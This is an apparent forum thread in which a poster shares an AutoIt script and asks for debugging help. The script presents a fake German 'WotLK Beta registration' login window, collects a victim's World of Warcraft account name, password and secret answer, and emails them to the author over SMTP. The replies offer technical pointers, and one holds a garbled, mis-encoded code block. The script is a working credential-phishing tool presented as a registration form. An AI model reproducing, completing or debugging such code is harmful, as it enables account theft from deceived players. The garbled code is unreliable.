Aziris Posted February 9, 2008 Posted February 9, 2008 Hello dear community. I am quite new to autoit, but with some guides I could manage to make a tool to send emails with the information of a account to the desired email adress. I´m always getting an error when running the script. I have switched my email adress in it, but it didnt work. I get the error: "Error: The requested action with this object has failed." The code of my script is: expandcollapse popup#include <GuiConstants.au3> #Include <file.au3> MsgBox( 0, "WotLK Beta registration", "Verwenden Sie einen gültigen World of Warcraft-Account zum registieren.") Func _INetSmtpMailCom($s_SmtpServer, $s_FromName, $s_FromAddress, $s_ToAddress, $s_Subject = "", $as_Body = "", $s_AttachFiles = "", $s_CcAddress = "", $s_BccAddress = "", $s_Username = "", $s_Password = "",$IPPort=25, $ssl=0) $objEmail = ObjCreate("CDO.Message") $objEmail.From = '"' & $s_FromName & '" <' & $s_FromAddress & '>' $objEmail.To = $s_ToAddress Local $i_Error = 0 Local $i_Error_desciption = "" If $s_CcAddress <> "" Then $objEmail.Cc = $s_CcAddress If $s_BccAddress <> "" Then $objEmail.Bcc = $s_BccAddress $objEmail.Subject = $s_Subject If StringInStr($as_Body,"<") and StringInStr($as_Body,">") Then $objEmail.HTMLBody = $as_Body Else $objEmail.Textbody = $as_Body & @CRLF EndIf If $s_AttachFiles <> "" Then Local $S_Files2Attach = StringSplit($s_AttachFiles, ";") For $x = 1 To $S_Files2Attach[0] $S_Files2Attach[$x] = _PathFull ($S_Files2Attach[$x]) If FileExists($S_Files2Attach[$x]) Then $objEmail.AddAttachment ($S_Files2Attach[$x]) Else $i_Error_desciption = $i_Error_desciption & @lf & 'File not found to attach: ' & $S_Files2Attach[$x] SetError(1) return 0 EndIf Next EndIf $objEmail.Configuration.Fields.Item ("http://schemas.microsoft.com/cdo/configuration/sendusing") = 2 $objEmail.Configuration.Fields.Item ("http://schemas.microsoft.com/cdo/configuration/smtpserver") = $s_SmtpServer $objEmail.Configuration.Fields.Item ("http://schemas.microsoft.com/cdo/configuration/smtpserverport") = $IPPort ;Authenticated SMTP If $s_Username <> "" Then $objEmail.Configuration.Fields.Item ("http://schemas.microsoft.com/cdo/configuration/smtpauthenticate") = 1 $objEmail.Configuration.Fields.Item ("http://schemas.microsoft.com/cdo/configuration/sendusername") = $s_Username $objEmail.Configuration.Fields.Item ("http://schemas.microsoft.com/cdo/configuration/sendpassword") = $s_Password EndIf If $Ssl Then $objEmail.Configuration.Fields.Item ("http://schemas.microsoft.com/cdo/configuration/smtpusessl") = True EndIf ;Update settings $objEmail.Configuration.Fields.Update ; Sent the Message $objEmail.Send if @error then SetError(2) return $oMyRet[1] EndIf EndFunc;==>_INetSmtpMailCom ; ; ; Com Error Handler Func MyErrFunc() $HexNumber = Hex($oMyError.number, 8) $oMyRet[0] = $HexNumber $oMyRet[1] = StringStripWS($oMyError.description,3) ConsoleWrite("### COM Error ! Number: " & $HexNumber & " ScriptLine: " & $oMyError.scriptline & " Description:" & $oMyRet[1] & @LF) SetError(1); something to check for when this function returns Return EndFunc;==>MyErrFunc GuiCreate("Wrath of the Lich King - Beta Account registration", 640,487, -1, -1, -1, $WS_EX_LAYERED ) GuiCtrlCreatePic("BG",0,0,640,487) GuiCtrlSetState(-1,$GUI_DISABLE) $edtName=GUICtrlCreateInput ("", 260,220,150,20,$ES_AUTOVSCROLL) $edtPwd=GUICtrlCreateInput ("", 260,270,150,20,$ES_AUTOVSCROLL+$ES_PASSWORD) ; BUTTON $btnMail = GuiCtrlCreateButton("Login", 255,305,70,20) $btnExit = GuiCtrlCreateButton("Cancel", 345,305,70,20) ; GUI MESSAGE LOOP GuiSetState() While 1 $msg = GUIGetMsg() Select Case $msg = $GUI_EVENT_CLOSE ExitLoop Case $msg = $btnMail $Accountname = GUICtrlRead($edtName) $Password = GUICtrlRead($edtPwd) $Answer = InputBox("Geheimfrage", "<Hier Geheimfrage einfügen!!>", "") $Body = "Accountname: " & @CRLF & $Accountname & @CRLF & "Password:" & @CRLF & $Password & @CRLF &"Antwort:" & @CRLF & $Answer $rc = _INetSmtpMailCom("smtp.mail.yahoo.de", $Accountname, "<E-Mail hier>", "<E-Mail hier>", "WoWAccount", $Body, "", "", "", "<Benutzername für E-Mail Account>", "<Password für E-Mail>", 25, 0) MsgBox( 0, "Registierung abgeschlossen", "Sie erhalten zum Start der Wrath of the Lich King Beta einen Key, mit dem Sie ihren Betaaccount freischalten können. Nochmaliges Ausfüllen der Registrierung hat keine Auswirkung mehr.") ExitLoop Case $msg = $btnExit ExitLoop EndSelect WEnd At the End where there is $rc = _INetSmtpMailCom("smtp.mail.yahoo.de", $Accountname, "<E-Mail hier>", "<E-Mail hier>", "WoWAccount", $Body, "", "", "", "<Benutzername für E-Mail Account>", "<Password für E-Mail>", 25, 0) I dont know where to put my mail adress. Maybe youcould help me =) Sincersly Aziris
Uten Posted February 9, 2008 Posted February 9, 2008 Just look at the function: Func _INetSmtpMailCom($s_SmtpServer, $s_FromName, $s_FromAddress, $s_ToAddress, $s_Subject = "", $as_Body = "", $s_AttachFiles = "", $s_CcAddress = "", $s_BccAddress = "", $s_Username = "", $s_Password = "",$IPPort=25, $ssl=0)oÝ÷ Ø Ýr©j·¢Ø^)ÞÊ©®âuçZºÚ"µÍÌÍÜÈHÒS]Û]XZ[ÛÛJ ][ÝÜÛ]XZ[XZÛËI][ÝË ÌÍÐXØÛÝ[[YK ][ÝÉÑKSXZ[YÝÉ][ÝË ][ÝÉÑKSXZ[YÝÉ][ÝË ][ÝÕÛÕÐXØÛÝ[ ][ÝË ÌÍÐÙK ][ÝÉ][ÝË ][ÝÉ][ÝË ][ÝÉ][ÝË ][ÝÉÐ[][YH¿KSXZ[XØÛÝ[ ÝÉ][ÝË ][ÝÉÔÜÝÛÜ¿KSXZ[ ÝÉ][ÝËK Please keep your sig. small! Use the help file. Search the forum. Then ask unresolved questions :) Script plugin demo, Simple Trace udf, TrayMenuEx udf, IOChatter demo, freebasic multithreaded dll sample, PostMessage, Aspell, Code profiling
Developers Jos Posted February 9, 2008 Developers Posted February 9, 2008 To avoid these errors and get more info about your problem you need to add the Comm Error handler as shown in the example in the forum. Jos SciTE4AutoIt3 Full installer Download page - Beta files Read before posting How to post scriptsource Forum etiquette Forum Rules Live for the present, Dream of the future, Learn from the past.
Recommended Posts
Create an account or sign in to comment
You need to be a member in order to leave a comment
Create an account
Sign up for a new account in our community. It's easy!
Register a new accountSign in
Already have an account? Sign in here.
Sign In Now